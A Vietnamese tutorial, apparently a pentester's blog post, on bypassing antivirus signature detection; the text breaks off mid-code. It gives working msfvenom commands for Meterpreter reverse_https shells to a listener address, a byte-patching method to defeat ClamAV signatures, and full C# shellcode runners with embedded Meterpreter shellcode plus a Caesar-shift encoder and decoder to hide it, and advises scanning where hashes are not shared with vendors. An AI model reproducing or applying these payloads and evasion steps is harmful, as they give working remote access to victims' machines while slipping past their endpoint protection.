Dĩ nhiên chúng ta phải thống nhất với nhau rằng, nếu áp dụng toàn bộ những kiến thức cơ bản này, con *** của chúng ta vẫn chưa thể bypass được những thứ "vĩ đại" như Microsoft Defender hay Kaspersky. Để bypass những thứ phức tạp trên ta cần áp dụng nhiều phương pháp và kỹ thuật hiện đại hơn. Mình sẽ trình bày ở phần sau
Video Đề Mô trước : https://drive.google.com/file/d/1-J2tlvzoFCj-AH_g-R5VcPeBFlPQhQop/view?usp=sharing
1. Antivirus Software Overview
Hầu hết các tổ chức đều chạy phần mềm AV (Antivirus) để bảo vệ máy tính khỏi các phần mềm độc hại. Đây cũng là một trong những nội dung quan trọng mà bất cứ Hacker/Pentester nào cần phải vượt qua.
Ở mức độ cơ bản , hầu hết các AV đều chạy trên một endpoint machine. Người dùng có thể tương tác với phần mềm để scan theo yêu cầu hay "Real-time protection". Khi một file độc hại được phát hiện, nó sẽ bị xóa hoặc bị cách ly khỏi hệ thống.
Thông thường việc phát hiện một file độc hại hay không dựa trên chữ ký . Các mã hash MD5 , SHA-1 của các file độc hại hoặc trên chuỗi byte phát hiện trong các file đã biết nếu trùng với file hoặc chuỗi byte của file.
Ngoài chức năng quét chữ ký, một số phần mềm AV phân tích hành vi hoặc phỏng đoán hành vi của file cần scan trên sanbox. Việc này đòi hỏi nhiều tài nguyên và thời gian hơn đáng kể theo cách phát hiện chữ ký thông thường. Tỉ lệ thành công của phương pháp này cũng khác nhau giữa các nhà cung cấp. Một cách mới hơn là phát hiện dựa trên cloud và AI để cải thiện độ chính xác, tuy nhiên phương pháp này khá tốn kém và cũng chưa được triển khai rộng rãi.
2. Simulating the Target Environment
Để kiểm tra payload của mình có hoạt động hiệu quả với AV không. Thông thường chúng ta có 2 cách
- Cách giàu : Mua các phần mềm AV tương ứng, rồi sau đó thực hiện cài đặt trên máy. Sau đó cố gắng bypass chúng
- Cách nghèo : Sử dụng các nguồn tài nguyên sẵn có như VirusTotal hay antiscan.me
VirusTotal hay mách lẻo, nếu nó phát hiện phần mềm của chúng ta là độc hại. Nó sẽ chia sẻ hash cho tất cả các phần mềm AV khác được biết. Điều này tốt cho người dùng nhưng không tốt cho Pentester . Cho nên antiscan.me là lựa chọn tốt hơn (tuy rằng công cụ này cũng rất giỏi vòi tiền)
3. Locating Signatures in Files
Để bắt đầu, chúng ta cùng thảo luận về quá trình bỏ qua việc phát hiện chữ ký trong AV
Đối với bài thực hành này, chúng ta phải tắt việc scan dựa trên hành vi (heuristics ) của AV
Phương pháp phát hiện mã độc thông qua hash của file thường có độ chính xác cao, nhưng lại dễ dàng để bypass. Theo đó chúng ta chỉ cần thay đổi một byte duy nhất trong tệp được quét. AV sẽ không phát hiện ra.
Nếu phần mềm xác định chữ ký dựa trên "chuỗi byte" trong file thực thi sẽ khó bypass hơn vì chúng ta cần phải xác định chính xác bype nào đang bị "dí". Có 2 cách tiếp cận để giải quyết công việc này. Phức tạp nhất là ta sẽ dịch ngược AV để phát hiện chữ ký thực tế. Hoặc đơn giản hơn, chúng ta sẽ chia file thực thi thành nhiều phần, rồi xác định tuần tự từng phần nhỏ để tìm ra chính xác các byte bị detect. Phương pháp này ban đầu được thực hiện trong một công cụ phổ biến có tên là Dsplit.
Vì công cụ này không còn được sử dụng, nên ta sẽ thay thế nó với Find-AVSignature PowerShell cho tác vụ này
Trước khi bắt đầu phân tích, chúng ta sẽ khởi chạy Avira Free Antivirus GUI
> Antivirus
. Tắt chế độ Real-Time Protection
Tạo payload met.exe
trên máy Kali, rồi paste sang victim machine
Scan thử với ClamScan
Đương nhiên sẽ bị phát hiện, bây giờ chúng ta tiến hành băm nhỏ payload ra từng phần để phát hiện xem phần nào đang bị detect
Powershell -Exec bypass
import-module Find-AVSignature.ps1
Find-AVSignature -StartByte 0 -EndByte max -Interval 10000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest1 -Verbose -Force
Bắt đầu scan từ Byte 0 tới max byte (jump 10000 byte)
Kết quả ra 1 file output avtest1
, sử dụng clamscan.exe
để detect
.\clamscan.exe C:\Tools\avtest1
Byte đầu tiên không có gì (dĩ nhiên) , lỗi bắt đầu xảy ra trong khoảng byte từ 10000 - 20000
Scan tiếp tục trong khoản này (thay đổi bước nhảy thành 1000)
Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest2 -Verbose -Force
Tiếp tục dùng clamscan.exe
để detect trong khoảng 10000-20000 byte
Ta đã thu hẹp được khoảng cách, tiếp tục thu nhỏ phạm vi khoảng từ 16000-17000 byte. JUMP 100 Byte
Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest3 -Verbose -Force
Tiếp tục thu nhỏ trong khoảng 16400-16500 byte. JUMP 10 byte
Find-AVSignature -StartByte 16400 -EndByte 16500 -Interval 10 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest3 -Verbose -Force
Thu nhỏ khoảng 16490-16500 byte . JUMP 1 byte
Find-AVSignature -StartByte 16490 -EndByte 16500 -Interval 1 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest3 -Verbose -Force
Bắt được tổ con tò vò 16492 byte
Vì offset 16492 byte của payload bị ClamAV phát hiện, thay đổi nó để tránh bị phát hiện
$bytes = [System.IO.File]::ReadAllBytes("C:\Tools\met.exe")
$bytes[16491 ] = 0
[System.IO.File]::WriteAllBytes("C:\Tools\met_mod.exe", $bytes)
Ghi vào trước đó 1 byte
Tiếp tục vòng lặp , tìm kiếm tất cả các "bad character" của met_mod.exe
là chúng ta đã bypass được Chữ ký của ClamAV
4. Bypassing Antivirus with Metasploit
Metasploit Encoders
Khi Metasploit mới phát hành, các công cụ như msfpayload , msfvenom có thể được sử dụng để mã hóa shellcode bypass AV rất hiệu quả. Nhưng theo thời gian, với sự phát triển của AV. Các phương pháp này đã tỏ ra lỗi thời đi rất nhiều lần.
Để liệu kê các encoders có sẵn, ta sử dụng tùy chọn --list encoders
trong đó x86/shikata_ga_nai
được xem là bộ encoder tốt và phổ biến nhất. Sử dụng nó để encoders payload
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=443 -e x86/shikata_ga_nai -f exe -o /home/kali/met2.exe
Tuy nhiên vẫn bị AV phát hiện bình thường, ta chuyển hướng sang payload 64bit xem sao
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=443 -e x86/shikata_ga_nai -f exe -o /home/kali/met2.exe
Ngon luôn !!!
Metasploit Encryptors
Vào năm 2018, các nhà phát triển của Metasploit đã đưa ra cập nhật cho mã hóa để giải quyết sự yếu kém ngày càng tăng của các bộ bypass AV. Để xem các tùy chọn mã hóa, ta sử dụng câu lệnh msfvenom --list encrypt
Chúng ta có thể tạo tệp thực thi với shellcode được mã hóa aes256 , thông qua tùy chọn --encrypt-key
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=443 --encrypt aes256 --encrypt-key dfdfdfdfdfdf3434 -f exe -o /var/www/html/met64_aes.exe
Tuy nhiên vấn đề vẫn không được khắc phục. AV vẫn phát hiện ra payload của chúng ta
Chúng ta có thể mã hóa với nhiều cách khác nhau, nhưng cuối cùng chìa khóa giải mã vẫn là duy nhất và không thay đổi. Điều này khiến payload của chúng ta không hiệu quả với AV.
5. Bypassing Antivirus with C#
Payload và các kỹ thuật bypass công khai thường dễ dàng bị phát hiện bởi các phần mềm AV. Đơn giản nếu chúng ta tiếp cận nguồn tài nguyên được, thì các các nhà nghiên cứu của các phần mềm AV cũng tiếp cận được. Họ có đủ thời gian để phân tích chúng.
Có 2 cách để tránh bị phát hiện. Một là viết mã của riêng mình bằng cách tự viết shellcode (cái này hịn) . Hai là XOR mã theo cách thủ công.
C# Shellcode Runner vs Antivirus
Tạo payload
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.1 lport=443 -f csharp
Ghép vào code
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] buf = new byte[659] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b,0x48,
0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0e,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x38,0x35,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x01,0x00,0x00,
0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,
0x00,0x00,0x00,0xff,0xd5,0xe8,0x6a,0x00,0x00,0x00,0x2f,0x66,0x54,0x6d,0x67,
0x4f,0x6f,0x75,0x66,0x50,0x5f,0x4b,0x30,0x5f,0x37,0x58,0x39,0x31,0x71,0x49,
0x6b,0x68,0x67,0x42,0x51,0x33,0x73,0x68,0x42,0x61,0x7a,0x57,0x39,0x61,0x63,
0x4d,0x79,0x56,0x35,0x47,0x6f,0x44,0x4b,0x37,0x5f,0x42,0x39,0x76,0x7a,0x5f,
0x6a,0x79,0x6d,0x76,0x4f,0x53,0x42,0x51,0x34,0x6a,0x48,0x70,0x53,0x6f,0x4e,
0x52,0x2d,0x36,0x45,0x54,0x68,0x6b,0x6f,0x59,0x45,0x43,0x63,0x4e,0x63,0x6a,
0x47,0x30,0x44,0x61,0x49,0x6d,0x68,0x4d,0x69,0x78,0x6a,0x49,0x5f,0x63,0x35,
0x6e,0x47,0x6c,0x6e,0x41,0x68,0x53,0x47,0x42,0x41,0x00,0x48,0x89,0xc1,0x53,
0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,
0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,
0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,
0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,
0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,
0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,
0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,
0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,
0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,
0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,
0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,
0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,
0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,
0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,
0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
Biên dịch và scan với Ariva (Kết quả không được như ý lắm, Ariva đã detect được payload @@
Scan với antiscan.me (15/16)
Encrypting the C# Shellcode Runner
Trong ví dụ trên, ta thấy shellcode đang ở trạng trái "trần truồng" do đó, nó dễ bị phát hiện bởi các công cụ chuyên biệt. Ta tiến hành thêm một bước nhỏ, tiến hành mã hóa Shellcode.
Khi chúng ta cố gắng sử dụng mã hóa với msfvenom, chúng ta đã tận dụng thuật toán AES256 phức tạp và bảo mật cao. Tuy nhiên việc triển khai thuật toán này không đơn giản nên ta sẽ chọn mật mã Caesar kém an toàn nhưng dễ sử dụng hơn.
Mật mã Caesa là một trong những sơ đồ mã hóa sớm nhất và rất đơn giản. Nó được phân loại là mật mã thay thế vì nó thay thế một chữ cái hoặc số bằng cách dịch chuyển nó sang phải theo số được chỉ định trong khóa.
Ví dụ ta mã hóa từ "Caesar" bằng mật mã Caesar với K = 1
Input Output
C -> D
a -> b
e -> f
s -> t
a -> b
r -> s
Để giải nó cũng rất đơn giản, ta chỉ cần lùi sang trái tương ứng với khóa sẽ ra ký tự ban đầu
Ta tạo Shellcode cần mã hóa
byte[] buf = new byte[659] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b,0x48,
0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0e,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x38,0x35,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x01,0x00,0x00,
0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,
0x00,0x00,0x00,0xff,0xd5,0xe8,0x6a,0x00,0x00,0x00,0x2f,0x66,0x54,0x6d,0x67,
0x4f,0x6f,0x75,0x66,0x50,0x5f,0x4b,0x30,0x5f,0x37,0x58,0x39,0x31,0x71,0x49,
0x6b,0x68,0x67,0x42,0x51,0x33,0x73,0x68,0x42,0x61,0x7a,0x57,0x39,0x61,0x63,
0x4d,0x79,0x56,0x35,0x47,0x6f,0x44,0x4b,0x37,0x5f,0x42,0x39,0x76,0x7a,0x5f,
0x6a,0x79,0x6d,0x76,0x4f,0x53,0x42,0x51,0x34,0x6a,0x48,0x70,0x53,0x6f,0x4e,
0x52,0x2d,0x36,0x45,0x54,0x68,0x6b,0x6f,0x59,0x45,0x43,0x63,0x4e,0x63,0x6a,
0x47,0x30,0x44,0x61,0x49,0x6d,0x68,0x4d,0x69,0x78,0x6a,0x49,0x5f,0x63,0x35,
0x6e,0x47,0x6c,0x6e,0x41,0x68,0x53,0x47,0x42,0x41,0x00,0x48,0x89,0xc1,0x53,
0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,
0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,
0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,
0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,
0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,
0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,
0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,
0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,
0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,
0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,
0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,
0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,
0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,
0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,
0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
Mã hóa . Ta chọn một khóa thay thế là 2, được lặp lại qua từng giá trị của byte trong Shellcode và giới hạn ở 0xFF (0-255 byte)
namespace Helper
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[752] {
0xfc,0x48,0x83,0xe4,0xf0...
byte[] encoded = new byte[buf.Length];
for(int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
}
Để có thể lấy được shellcode sau khi đã mã hóa, chúng ta cần print nó ra màn hình. Điều này có thể thực hiện bằng cách chuyển đổi một string với StringBuilder
class và AppendFormat
method
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach(byte b in encoded)
{
hex.AppendFormat("0x{0:x2}, ", b);
}
Console.WriteLine("The payload is: " + hex.ToString());
Code hoàn chỉnh
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp10
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[659] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b,0x48,
0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0e,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x38,0x35,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x01,0x00,0x00,
0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,
0x00,0x00,0x00,0xff,0xd5,0xe8,0x6a,0x00,0x00,0x00,0x2f,0x66,0x54,0x6d,0x67,
0x4f,0x6f,0x75,0x66,0x50,0x5f,0x4b,0x30,0x5f,0x37,0x58,0x39,0x31,0x71,0x49,
0x6b,0x68,0x67,0x42,0x51,0x33,0x73,0x68,0x42,0x61,0x7a,0x57,0x39,0x61,0x63,
0x4d,0x79,0x56,0x35,0x47,0x6f,0x44,0x4b,0x37,0x5f,0x42,0x39,0x76,0x7a,0x5f,
0x6a,0x79,0x6d,0x76,0x4f,0x53,0x42,0x51,0x34,0x6a,0x48,0x70,0x53,0x6f,0x4e,
0x52,0x2d,0x36,0x45,0x54,0x68,0x6b,0x6f,0x59,0x45,0x43,0x63,0x4e,0x63,0x6a,
0x47,0x30,0x44,0x61,0x49,0x6d,0x68,0x4d,0x69,0x78,0x6a,0x49,0x5f,0x63,0x35,
0x6e,0x47,0x6c,0x6e,0x41,0x68,0x53,0x47,0x42,0x41,0x00,0x48,0x89,0xc1,0x53,
0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,
0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,
0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,
0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,
0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,
0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,
0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,
0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,
0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,
0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,
0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,
0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,
0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,
0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,
0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("0x{0:x2}, ", b);
}
Console.WriteLine("The payload is: " + hex.ToString());
}
}
}
Vậy là xong công cụ mã hóa, ta tiến hành print shellcode
Lắp ráp shellcode vào công cụ ta đã phát triển, đồng thời thêm function giải mã shellcode (lùi 2 byte tương ứng với K thay thế)
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
int size = buf.Length;
Source code hoàn chỉnh
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
